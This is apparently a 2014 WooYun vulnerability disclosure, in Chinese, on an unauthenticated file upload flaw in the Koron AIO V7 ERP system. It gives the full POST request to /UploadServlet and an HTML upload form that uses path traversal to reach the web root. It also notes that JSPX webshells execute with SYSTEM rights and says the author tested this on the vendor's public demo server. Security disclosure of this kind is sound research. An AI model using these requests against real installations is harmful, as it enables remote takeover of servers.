当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073243

漏洞标题:科荣AIO管理系统AIO V7存在前台GETSHELL漏洞

相关厂商:科荣AIO管理系统

漏洞作者: U神

提交时间:2014-08-21 12:48

修复时间:2014-11-19 12:50

公开时间:2014-11-19 12:50

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

厂商:

http://www.krrj.cn/ 进销存软件-ERP库存管理-仓库管理软件-科荣软件官网


案例就官网列出来的大概有300多个。

09.jpg


测试的时候是本地搭建的,自动化完成的搭建环境。
下载地址,还是2014-5-12日更新的

http://www.krrj.cn/download/aiov7.exe


此次测试主要是黑盒测试,没什么技术含量的。

漏洞证明:

科荣AIO V7管理系统下载后的程序实现一键自动化安装,默认安装是在:D:\KoronSoft\。目录下分别有AIO、DB两个文件夹,除DB是数据库外,AIO则是程序的主目录,但并不是WEB根目录,WEB的根目录是:D:\KoronSoft\AIO\website。
在后台的操作中抓取数据包发现一处任意文件上传的地方,然后通过delete cookie发现也可以一样地上传文件。如图:

01.jpg


看看这个Post请求:

POST /UploadServlet?path=/temp/&fileType=AFFIX HTTP/1.1
Host: localhost:8000
Proxy-Connection: keep-alive
Content-Length: 433
Origin: http://localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
Accept: */*
Referer:
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie:
------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
Content-Disposition: form-data; name="Filename"
test.jsp
------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
Content-Disposition: form-data; name="Filedata"; filename="test.jsp"
Content-Type: application/octet-stream
this is a test file
------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
Content-Disposition: form-data; name="Upload"
Submit Query
------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0--


通过测试发现上传的文件在,“D:\KoronSoft\AIO\fileServer_v7\temp”,这个目录是专门存储上传后的文件的目录,根据上面我们说的“D:\KoronSoft\AIO\”不是网站的根目录,“D:\KoronSoft\AIO\fileServer_v7\temp”也不是网站的根目录,网站的根目录是“D:\KoronSoft\AIO\website”,只有该目录下的文件才可以够以http的形式访问,那么我们刚才上传的文件无法访问。

02.jpg


而正好的是“path”这个参数是可控的,所以我们可以控制上传文件的目录来达到将上传的文件upload到网站根目录。
这样只要构造path参数的值就可以啦,本地构造一个表单,将这个表单加入到本地的WEB环境中去测试。

<form action="http://localhost:8000/UploadServlet?path=./../website/&fileType=AFFIX" method="post" enctype="multipart/form-data" name="upload">
<input type="file" name="newfile">
<input type="submit" name="Submit" value="upload">
</form>


接着就是本地上传了,返回的是原来的文件名,上传后的文件名依然是以原文件名形式保存。

03.jpg


接着发现我们只要控制了path参数,上传的shell也就到了网站根目录~

04.jpg


05.jpg


#2.官网demo测试一下,使用本地WEB环境中的上传表单来测试。

http://demo.koronsoft.com:8008/  demo地址


更改表单中的post的地址上传。

07.jpg


最后发现居然无法解析JSP的文件,但是通过测试发现可以解析JSPX的,于是本地测试一下上传JSPX的。看样子默认是system权限。jspx shell还是在http://blog.paxmac.org/?p=431 这里找到的

08.jpg


官网我就不传jspx shell了,cncert可自行复现测试。

修复方案:

来点rank要升级了~

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:10 (WooYun评价)